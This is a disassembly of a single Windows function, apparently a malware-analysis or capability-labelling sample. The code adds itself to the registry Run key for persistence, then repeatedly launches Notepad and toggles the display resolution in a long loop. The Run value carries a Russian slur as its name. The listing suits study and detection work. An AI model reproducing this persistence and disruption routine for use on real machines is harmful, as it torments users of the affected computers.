Function at 0x140011294
Capabilities:
Create process on windows
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140011a80
push rbp
push rsi
push rdi
sub rsp, 0x6e0
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x11c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x6a8], rax
lea rcx, [0x1400240fa]
call fcn.1400113b1
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea rax, [rbp + 0x240]
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdi, rax
mov rsi, rcx
mov ecx, 0x5c
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x2b8]
lea rcx, str.Pidorasik_Plachet
mov rdi, rax
mov rsi, rcx
mov ecx, 0x24
rep movsb byte [rdi], byte [rsi]
mov r8d, 0x208
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rbp + 0x2f8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, [rbp + 0x240]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rbp + 0x314], eax
cmp dword [rbp + 0x314], 0
jne 0x140011bd9
lea rcx, [rbp + 0x10]
call qword [sym.imp.ucrtbased.dll_wcslen]
lea rax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp + 0x2b8]
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rbp + 0x334], eax
cmp dword [rbp + 0x334], 0
jne 0x140011bb0
lea rcx, [0x14001af20]
call fcn.14001102d
jmp 0x140011bca
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, [0x14001af70]
mov rcx, rax
call fcn.140011046
mov rcx, qword [rbp + 0x2f8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140011bf3
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, [0x14001aff0]
mov rcx, rax
call fcn.140011046
mov dword [rbp + 0x354], 0
jmp 0x140011c0d
mov eax, dword [rbp + 0x354]
inc eax
mov dword [rbp + 0x354], eax
cmp dword [rbp + 0x354], 0x98967f
jg 0x140011dc5
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_notepad.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea r8, [rbp + 0x380]
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
mov dword [rbp + 0x42c], 0x500
mov dword [rbp + 0x430], 0x2d0
xor edx, edx
lea rcx, [rbp + 0x380]
call qword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_notepad.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x380]
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
mov dword [rbp + 0x42c], 0x320
mov dword [rbp + 0x430], 0x258
xor edx, edx
lea rcx, [rbp + 0x380]
call qword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_notepad.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x3c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0x380]
mov edx, 0xffffffff
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
mov dword [rbp + 0x42c], 0x500
mov dword [rbp + 0x430], 0x2d0
xor edx, edx
lea rcx, [rbp + 0x380]
call qword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_notepad.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem32_notepad.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
jmp 0x140011bff
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001ae20]
call fcn.14001133e
mov eax, edi
mov rcx, qword [rbp + 0x6a8]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x6b0]
pop rdi
pop rsi
pop rbp
ret